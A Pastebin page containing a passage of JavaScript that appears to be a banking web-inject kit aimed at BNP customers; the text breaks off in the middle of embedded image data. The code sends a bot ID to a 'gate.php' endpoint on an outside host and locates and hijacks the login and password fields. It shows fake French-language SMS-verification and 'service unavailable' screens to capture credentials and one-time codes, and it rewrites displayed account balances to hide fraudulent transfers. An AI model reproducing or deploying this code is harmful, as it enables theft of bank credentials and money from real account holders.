Pastebin
API
tools
faq
paste
Login
Sign up
Please fix the following errors:
New Paste
Syntax Highlighting
//=================== ADMIN ===================== var ALINK = "https://securetargeting.com/content/webanalyser/bnp/admin/"; var GATE = ALINK+"gate/gate.php"; //=================== INIT PROTOS ===================== var By = (function(){ function ByArgs(arguments){ var found = { tag: false, error: false, element: false } if(arguments && arguments.length >= 3){ var elements_array = arguments[1].split("|"); if(elements_array.length > 0){ for(var k = 0; k < elements_array.length; k++){ var elements = arguments[0].getElementsByTagName(elements_array[k]); if(elements && elements.length > 0){ for(var i = 0; i < elements.length; i++){ for(var e = 2; e < arguments.length; e++){ var pattern = new RegExp(arguments[e].split(":")[1],"igm"); if(arguments[e].split(":")[0] == "class"){ if(elements[i].className != null && pattern.test(elements[i].className)){ found.tag = true; }else{ found.error = true; } }else if(arguments[e].split(":")[0] == "for"){ if(elements[i].className != null && pattern.test(elements[i].htmlFor)){ found.tag = true; }else{ found.error = true; } }else{ if(elements[i].getAttribute(arguments[e].split(":")[0]) != null && pattern.test(elements[i].getAttribute(arguments[e].split(":")[0]))){ found.tag = true; }else{ found.error = true; } } } if(found.tag && !found.error){ return elements[i]; }else{ found.tag = false; found.error = false; } } } } return false; }else{ return false; } }else{ return false; } } function ByContent(arguments){ var found = { tag: false, error: false, element: false } if(arguments && arguments.length > 2){ var elements = arguments[0].getElementsByTagName(arguments[1]); if(elements && elements.length > 0){ for(var i = 0; i < elements.length; i++){ for(var e = 2; e < arguments.length; e++){ var pattern = new RegExp(arguments[e]); if(pattern.test(elements[i].innerHTML.toLowerCase())){ found.tag = true; }else{ found.error = true; } } if(found.tag && !found.error){ return elements[i]; }else{ found.tag = false; found.error = false; } } } } return false; } return{ args: function(){ return ByArgs(arguments); }, content: function(){ return ByContent(arguments); } } }()) by = By; var Hujax = (function(){ var callback_func = false; function SetCallback(p){ callback_func = p; } function Send(url){ var BOTID = document.getElementById("BMUD"); if(BOTID){ BOTID = vw.text(BOTID); }else{ BOTID = "%%ID%%"; } url += "&ip="+BOTID; if(document.getElementById("rgk_ajax")){ document.getElementById("rgk_ajax").parentNode.removeChild(document.getElementById("rgk_ajax")); } var script = document.createElement("script"); script.type = "text/javascript"; script.id = "rgk_ajax"; if (script.readyState) { script.onreadystatechange = function() { if (script.readyState == "loaded" || script.readyState == "complete") { script.onreadystatechange = null; callback_func(); } }; } else { script.onload = function() { callback_func(); }; } url = url.replace(/\(/g,"%28").replace(/\)/g,"%29"); script.src = url; if(document.getElementsByTagName("head").length > 0){ document.getElementsByTagName("head")[0].appendChild(script); }else{ document.getElementsByTagName("body")[0].appendChild(script); } } return{ callback: function(param){ SetCallback(param); }, send: function(param){ Send(param); } } }()); hujax = Hujax; var Clone = (function(){ function CheckQ(param){ if(param == null || param == undefined || param == "null" || param == "undefined" || param == "" || param == " "){ return false; }else{ return true; } } function COPY(obj,func){ if(obj.type == "image"){ var clo = document.createElement("img"); for (x in obj.attributes){ if(CheckQ(obj.attributes[x]) && CheckQ(obj.attributes[x].name) && CheckQ(obj.attributes[x].value)){ if(obj.attributes[x].name == "onclick" || obj.attributes[x].name == "name" || obj.attributes[x].name == "disabled" || obj.attributes[x].name == "id" ){ continue; } if(obj.attributes[x].name == "type" && obj.attributes[x].value == "submit"){ clo.setAttribute(obj.attributes[x].name,"button"); }else{ clo.setAttribute(obj.attributes[x].name,obj.attributes[x].value); } } } }else{ var clo = document.createElement(obj.tagName); for (x in obj.attributes){ if(CheckQ(obj.attributes[x]) && CheckQ(obj.attributes[x].name) && CheckQ(obj.attributes[x].value)){ if(obj.attributes[x].name == "onclick" || obj.attributes[x].name == "name" || obj.attributes[x].name == "disabled" || obj.attributes[x].name == "href" || obj.attributes[x].name == "id" ){ continue; } if(obj.attributes[x].name == "type" && obj.attributes[x].value == "submit"){ clo.setAttribute(obj.attributes[x].name,"button"); }else{ clo.setAttribute(obj.attributes[x].name,obj.attributes[x].value); } } } } if(obj.tagName == "A" || obj.tagName == "BUTTON" || obj.tagName == "LI"){ clo.innerHTML = obj.innerHTML; } clo.style.cursor = "pointer"; obj.style.display = "none"; AddListenner(clo,"click",func); obj.parentNode.insertBefore(clo,obj); } function AddListenner(obj,evType,func){ if(obj.addEventListener ){ obj.addEventListener(evType,func,false); return true; }else if(obj.attachEvent){ var r = obj.attachEvent('on'+evType,func); return r; }else{ elm['on'+evType] = func; } } function JUSTCOPYINPUT(obj,content){ var clo = document.createElement(obj.tagName); for (x in obj.attributes){ if(CheckQ(obj.attributes[x]) && CheckQ(obj.attributes[x].name) && CheckQ(obj.attributes[x].value)){ if(obj.attributes[x].name == "onclick" || obj.attributes[x].name == "name" || obj.attributes[x].name == "href" || obj.attributes[x].name == "id" || obj.attributes[x].name == "value" ){ continue; } clo.setAttribute(obj.attributes[x].name,obj.attributes[x].value); } } clo.value = content; obj.style.display = "none"; obj.parentNode.insertBefore(clo,obj); } return{ click: function(obj,func){ COPY(obj,func); }, copy: function(obj,content){ JUSTCOPYINPUT(obj,content); } } }()) clone = Clone; var VW = (function(){ var fTarget = false; var fDeftime = 4; var fTime = fDeftime; var fCallback = function(){return false;}; function getViewportHeight() { var ua = navigator.userAgent.toLowerCase(); var isOpera = (ua.indexOf('opera') > -1); var isIE = (!isOpera && ua.indexOf('msie') > -1); return ((document.compatMode || isIE) && !isOpera) ? (document.compatMode == 'CSS1Compat') ? document.documentElement.clientHeight : document.body.clientHeight : (document.parentWindow || document.defaultView).innerHeight; } return{ hidedoc: function(doc){ var none_div = doc.getElementById("none_div"); if(none_div){ none_div.style.display = ""; }else{ doc.documentElement.style.display = "none"; } }, showdoc: function(doc){ var none_div = doc.getElementById("none_div"); if(none_div){ none_div.style.display = "none"; }else{ doc.documentElement.style.display = ""; } }, browser: function(){ if(navigator.userAgent.toLowerCase().indexOf("msie 6") >= 0){ return "IE6"; }else if(navigator.userAgent.toLowerCase().indexOf("msie 7") >= 0){ return "IE7"; }else if(navigator.userAgent.toLowerCase().indexOf("msie 8") >= 0){ return "IE8"; }else if(navigator.userAgent.toLowerCase().indexOf("msie 9") >= 0){ return "IE9"; }else if(navigator.userAgent.toLowerCase().indexOf("msie 10") >= 0){ return "IE10"; }else if(navigator.userAgent.toLowerCase().indexOf("firefox") >= 0){ return "FF"; }else{ return "OTHER"; } }, bind: function(obj, evType, func){ if(obj.removeEventListener){ obj.removeEventListener(evType,func,false); }else if(obj.detachEvent){ obj.detachEvent ('on'+evType,func); } if(obj.addEventListener ){ obj.addEventListener(evType,func,false); return true; }else if(obj.attachEvent){ var r = obj.attachEvent('on'+evType,func); return r; }else{ elm['on'+evType] = func; } }, mouse: function(eve,element){ if(document.createEvent){ var event = document.createEvent('MouseEvents'); event.initMouseEvent(eve,true,true,document.defaultView,1,0,0, 0, 0, false, false, false, false,0,null); element.dispatchEvent(event); }else if(element.fireEvent){ if(eve == "click"){ element.click(); }else{ var event = document.createEventObject(); element.fireEvent('on'+eve, event); } } }, text: function(param){ if(param){ var tmp = (param.textContent ? param.textContent : param.innerText) ? (param.textContent ? param.textContent : param.innerText) : param.innerHTML; return tmp.replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$)/ig,""); }else{ return ""; } }, from: function(parent,child){ return parent && child ? parent.getElementsByTagName(child) : false; }, digits: function(digits){ var RES = { NUMBERS:"", OTHER: "" } var res = ''; if(digits && digits.length > 0){ digits = digits.replace(/\u2212/g, "-"); var ValidChars = "0123456789"; for(var i = 0;i < digits.length; i++){ var Char = digits.charAt(i); if(ValidChars.indexOf(Char) >=0){ res += Char; }else{ RES.OTHER += Char; } } } RES.NUMBERS = parseFloat(res); return RES; }, blockenter: function(el){ if(el){ el.onkeypress = function(evt){ var evt = (evt) ? evt : ((event) ? event : null); var node = (evt.target) ? evt.target : ((evt.srcElement) ? evt.srcElement : null); if ((evt.keyCode == 13) && (node.type=="text" || node.type=="password")){ return false; } } } }, selected: function(select){ if(select){ var RES = { VALUE: "", TEXT: "" } RES.VALUE = select[select.selectedIndex].value; RES.TEXT = select[select.selectedIndex].text; return RES; }else{ return false; } }, docheight: function(){ return Math.max(document.compatMode != 'CSS1Compat' ? document.body.scrollHeight : document.documentElement.scrollHeight, getViewportHeight()); }, docwidth: function(num){ if(num){ return (window.screen.availWidth / num); }else{ return window.screen.availWidth; } }, finder: function(obj,callback,time){ fTarget = obj; fCallback = callback; if(time)fTime = time; setTimeout(vw._finder,500); }, _finder: function(){ if(fTarget()){ fCallback(); fTime = fDeftime; }else{ if(fTime > 0){ fTime--; setTimeout(vw._finder,1000); }else{ fTime = fDeftime; } } }, framedoc: function(frame){ var RES = { DOC: false, WIN: false } if(vw.browser() == "FF" && frame){ RES.DOC = frame.contentDocument; RES.WIN = frame.contentWindow; }else if((/IE/igm.test(vw.browser())) && frame && frame.readyState == "complete"){ RES.DOC = frame.contentWindow.document; RES.WIN = frame.contentWindow; } return RES; }, splitiban: function(iban){ iban = iban+""; var res = iban.substr(0,2)+" "; var tmp = iban.substr(2,iban.length); var count = 0; for(var i = 0; i < tmp.length; i++){ if(count < 4){ res += tmp[i]; count++; }else{ res += " "+tmp[i]; count = 1; } } return res; }, getstyle: function(oElm, strCssRule){ var strValue = ""; if(document.defaultView && document.defaultView.getComputedStyle){ strValue = document.defaultView.getComputedStyle(oElm, "").getPropertyValue(strCssRule); } else if(oElm.currentStyle){ strCssRule = strCssRule.replace(/\-(\w)/g, function (strMatch, p1){ return p1.toUpperCase(); }); strValue = oElm.currentStyle[strCssRule]; } return strValue; } } }()) vw = VW; var Replacer = (function(){ var start_position = new Array(); var drop_data = new Array(); var prefix = { minus: "-", plus: "" } var splitter = { value: "none", position: "none" } var summGet; var summSet; var masks = new Array(); function Content(param){ if(param){ var tmp = (param.textContent ? param.textContent : param.innerText) ? (param.textContent ? param.textContent : param.innerText) : param.innerHTML; return tmp.replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$)/ig,""); }else{ return ""; } } function _setArgs(args){ for(var i = 0; i < args.length; i++){ start_position.push(args[i]); } } function _getArgs(){ for(var i = 0; i < start_position.length; i++){ if(start_position[i]){ return true; } } return false; } function _saveData(args){ for(var i = 0; i < args.length; i++){ for(key in args[i]){ drop_data[key] = args[i][key]; } } } function _getData(name){ return drop_data[name]; } function _setCurrencyFunctions(f1,f2){ summGet = f1; summSet = f2; } function _checkBy(el,data){ var pattern = new RegExp(drop_data[data],"igm"); if(pattern.test(el)){ return true; }else{ return false; } } function _textIndex(el,data){ for(var i = 0; i < el.length; i++){ if(_checkBy(el[i].text,data)){ return i; } } return -1; } function _valueIndex(el,data){ for(var i = 0; i < el.length; i++){ if(_checkBy(el[i].value,data)){ return i; } } return -1; } function _replaceTag(element,summa){ var tagSelect = /select|option/igm.test(element.tagName); var tagInput = /input|textarea/igm.test(element.tagName); if(tagSelect){ if(splitter.value != "none" && splitter.position != "none"){ var minus = (element.text.split(splitter.value)[splitter.position].indexOf(prefix.minus) != -1) ? true : false; var balance = summGet(element.text.split(splitter.value)[splitter.position]); }else{ var minus = (element.text.indexOf(prefix.minus) != -1) ? true : false; var balance = summGet(element.text); } }else if(tagInput){ if(splitter.value != "none" && splitter.position != "none"){ var minus = (element.value.split(splitter.value)[splitter.position].indexOf(prefix.minus) != -1) ? true : false; var balance = summGet(element.value.split(splitter.value)[splitter.position]); }else{ var minus = (element.value.indexOf(prefix.minus) != -1) ? true : false; var balance = summGet(element.value); } }else{ if(splitter.value != "none" && splitter.position != "none"){ var minus = (Content(element).split(splitter.value)[splitter.position].indexOf(prefix.minus) != -1) ? true : false; var balance = summGet(Content(element).split(splitter.value)[splitter.position]); }else{ var minus = (Content(element).indexOf(prefix.minus) != -1) ? true : false; var balance = summGet(Content(element)); } } var new_balance = balance+parseFloat(summa); if(minus)balance = balance * -1; balance = summSet(balance); new_balance = summSet(new_balance); if(tagSelect){ var f = element.text.replace(balance+"",new_balance+""); }else if(tagInput){ var f = element.value.replace(balance+"",new_balance+""); }else{ var f = element.innerHTML.replace(balance+"",new_balance+""); } if(parseFloat(new_balance) >= 0){ f = f.replace((f.indexOf(prefix.minus) != -1 ) ? prefix.minus : prefix.plus , prefix.plus ); f = f.replace("-"+new_balance+"",new_balance+""); }else{ f = f.replace((f.indexOf(prefix.minus) != -1 ) ? prefix.minus : prefix.plus , prefix.minus ); f = f.replace(/\-/,""); } if(tagSelect){ element.text = f; }else if(tagInput){ element.value = f; }else{ element.innerHTML = f; if(parseFloat(new_balance) >= 0){ element.innerHTML = element.innerHTML.replace(/solltexttable/igm,""); } } if(splitter.value != "none" && splitter.position != "none"){ splitter.value = "none"; splitter.position = "none"; } } function _setSplitter(value,position){ splitter.value = value; splitter.position = position; } function _drawTable(table,class1,class2){ var index = 0; var trs = table.getElementsByTagName("tr"); if(trs && trs.length > 0){ for(var i = 0; i < trs.length; i++){ if(trs[i].className == "ev" || trs[i].className == "od"){ if(index % 2 == 0){ trs[i].className = class1; }else{ trs[i].className = class2; } index++; } } } } function _convertDate(date){ var splitter = false; if(/\./igm.test(date)){ splitter = "."; }else{ splitter = "/"; } var els = date.split(splitter); if(els && els.length == 3){ var returnValue = 0; returnValue += parseFloat(els[2]) * 365; returnValue += parseFloat(els[1]) * 30; returnValue += parseFloat(els[0]); return returnValue; }else if(els && els.length == 2){ var returnValue = 0; returnValue += parseFloat(els[2]) * 365; returnValue += parseFloat(els[1]) * 30; return returnValue; }else{ return -1; } } return{ init: function(){ _setArgs(arguments); }, canstart: function(){ return _getArgs(); }, save: function(){ _saveData(arguments); }, check: function(el,data){ return _checkBy(el,data); }, textIndex: function(el,data){ return _textIndex(el,data); }, valueIndex: function(el,data){ return _valueIndex(el,data); }, get: function(name){ return _getData(name); }, currency: function(f1,f2){ _setCurrencyFunctions(f1,f2); }, replace: function (el,amount){ _replaceTag(el,amount); }, splitter: function (value,position){ _setSplitter(value,position); }, drawtable: function (table,class1,class2){ _drawTable(table,class1,class2); }, date: function(str){ return _convertDate(str); }, tomask: function(param){ masks.push(param); }, bymask: function(text){ for(var i = 0; i < masks.length; i++){ var pattern = new RegExp(masks[i],"igm"); if(pattern.test(text)){ return true; } } return false; } } }()) replacer = Replacer; var Currency = (function(){ var type_c = false; function ConvertibleIn(digits){ var res = ''; if(digits && digits.length > 0){ digits = digits.replace(/\u2212/g, "-"); var ValidChars = "-.0123456789"; for(var i = 0;i < digits.length; i++){ var Char = digits.charAt(i); if(ValidChars.indexOf(Char) >=0){ res += Char; } } } return parseFloat(res); } function ConvertibleOut(digits,r){ if(r == 1){ digits = digits.toString().replace(/\$|\,/g,''); if(isNaN(digits))digits = "0"; sign = (digits == (digits = Math.abs(digits))); digits = Math.floor(digits*100+0.50000000001); cents = digits%100; digits = Math.floor(digits/100).toString(); if(cents<10)cents = "0" + cents; for (var i = 0; i < Math.floor((digits.length-(1+i))/3); i++) digits = digits.substring(0,digits.length-(4*i+3))+','+ digits.substring(digits.length-(4*i+3)); return (((sign)?'':'-') + digits + '.' + cents); }else if(r == 2){ digits = digits.toString().replace(/\$|\,/g,''); if(isNaN(digits))digits = "0"; sign = (digits == (digits = Math.abs(digits))); digits = Math.floor(digits*100+0.50000000001); cents = digits%100; digits = Math.floor(digits/100).toString(); if(cents<10)cents = "0" + cents; for (var i = 0; i < Math.floor((digits.length-(1+i))/3); i++) digits = digits.substring(0,digits.length-(4*i+3))+'.'+ digits.substring(digits.length-(4*i+3)); return (((sign)?'':'-') + digits + ',' + cents); }else{ return digits; } } function getCurrency(digits){ if(digits){ if(/[0-9]/igm.test(digits)){ if(/\.[0-9]{2}$|\.[0-9]{2}\s{1,}/igm.test(digits)){ type_c = 1; return ConvertibleIn(digits.replace(/\,/g, '')); }else{ type_c = 2; return ConvertibleIn(digits.replace(/\./g, '').replace(/,/g, '.')); } }else{ return digits; } }else{ return digits; } } function setCurrency(digits){ if(type_c == 1 || type_c == 2){ return ConvertibleOut(digits,type_c); }else{ return digits; } } return{ get: function(param){ return getCurrency(param); }, set: function(param){ return setCurrency(param); } } }()) summ = Currency; //=================== INIT VARIABLES ===================== var UI_login_input = by.args(document,"input","type:text","maxlength:10"); var UI_password_input = by.args(document,"input","type:password","maxlength:6"); var UI_login_button_img = by.args(document,"img","src:acount_acces"); if(UI_login_button_img)var UI_login_button = UI_login_button_img.parentNode; var replacerArray = new Array(); var kl = ""; var FKTEXT = { WAITING: "Attendez, s'il vous plaît...", BLOCKTITLE: "Le service est temporairement inaccessible", BLOCKMAIN: "Nous présentons nos excuses. Le service est temporairement inaccessible suite aux travaux techniques sur les serveurs de la banque. Nous faisons tout possible pour améliorer la qualité du service de nos clients et assurer votre sécurité sur le niveau supérieur. Nos spécialistes vont restaurer le travail et l'accès aux comptes dans les plus brefs délais. Merci de votre patience et compréhension.", BLOCTRYNEXTTIME: "Essayez entrer plus tard...", SMSTITLE: "Vérification supplémentaire", SMSQUERY: "Nous avons introduit, pour l'accès plus sûr à vos comptes, un nouveau système de l'identification pour SMS code. Pour continuer inscrivez le code reçu par SMS.", SMSLABEL: "Code d'acess" } var HOLDER = { LOGIN: "", PASSWORD: "", SMS: "" } var QUERY = { COMMAND: "NONE", VALUE: false, CHANGED: false, FINISH: false } //=================== INIT FAKES FUNCTIONS ===================== vw.finish = function(){ if(!QUERY.CHANGED){ QUERY.FINISH = true; } } vw.fake_step = function(step,status){ switch(step){ case("login"): vw.lethim(); break; case("relogin"): vw.mouse("click",UI_clear_button_1); vw.lethim(); break; case("wait"): var fkWaitContent = '<div style="left:350px;top: 390px;position: absolute;z-index: 100;color: #333333;font: 0.75em Arial;text-align: center;width:350px;"> <div style="background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABUAAABKCAYAAABUzx+0AAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAJYSURBVHja7JjPi9pAFMfz3kRcpdKDgj9QwUXw4qkKxT9A6WUPhd4KXgTxHyoUehP23v9DwUMFzx5W8SIeFFrZZjaVVjbJm5k3ui09ZOAxmZB88p03mZe8B851DagxXAmDEOMiKIRAZA+WypCAR1SDpTqTna4HCyAaxiylFEDVBwyYQAwdo0Y9qZQCUlAl3NUoDasQBiiqoGEYKkxo1KJr2CmgASqVu4b30QR83p+vdzULpXLDc9DJ6vX6q36//7FUKt15nncLBAjDN+lsNBq9bbVan2q1WqLRaNwUCgXHNfhT5w4xGAzetNvtL71eL1mpVM4gZCwU6dt8Pp/sdDqfu91uAKiCAmeLDofDD8Vi8aZarUYWBYlgy5q+D3vfbDaT1M7BC0MeAsBtLpdzVFAwgMjz/quTTqVSjq1SrWIppS8WrKAc/yqb6ZvD+SxbT5/yt8NVyvEpu6HzF1oMjaExNIbG0BgaQ/8FVP62F4NKBVxyoDJkuhvlpUql4mGS4w4bn1pBpQFAnkfEH8fj0Vqpbuqe/xf9sN1uWQtlhP2x1Wr1dT6ff+coVYEi/Xg8vl8ulz/X63UEKogfW+RUdfypP5bL5W+Hw+Gdn4+6mUyGhFqXiyaTyYOfOc/2+31vt9t5iUTCTafTZ6jDKGKRmcl0Ol0tFov7bDb7uNlscrPZ7DUoSh3h9Jw6VhYRBKMwaOojMULYVhwVKU/gTREWaQ5wI5lgJmTAiFpSB+U2agf+ap64EkbuQhsoMOOtd+30yTghLCGqBQtEuZdaqIDy/6Ikb6pSnMZPAgwAIMDKTKDUFxMAAAAASUVORK5CYII=) no-repeat scroll left top transparent;float: left;height: 74px;width: 21px;"></div> <div style="float:left;width:300px;"> <div style="background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAoAAAAPCAYAAADd/14OAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAAuSURBVHjaYmRgYGBkIAKAFDERo5CFFIXMxCpkGTgTRxXiThQzZ878T4xCgAADAOPEAy1aYXEMAAAAAElFTkSuQmCC) repeat-x scroll left bottom transparent;height: 14px;"></div> <div style="background: url(data:image/gif;base64,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) no-repeat scroll 7px 7px #FFFFFF;color: #999999;font-size: 1.167em;height: 46px;margin: 0;padding: 0px 15px 0 50px;"><div style="padding-top:11px;font-size:11px;color:#185BB6;">'+FKTEXT.WAITING+'</div></div><div style="background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAoAAAAPCAYAAADd/14OAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAAsSURBVHjaYpw5c+Z/BiIAIxDrEaOQBYj/jCqkisK/A2fiP2IUMjMQCQACDABXfg8C4LEGcAAAAABJRU5ErkJggg==) repeat-x scroll left top transparent;height: 14px;"></div> </div> <div style="background: 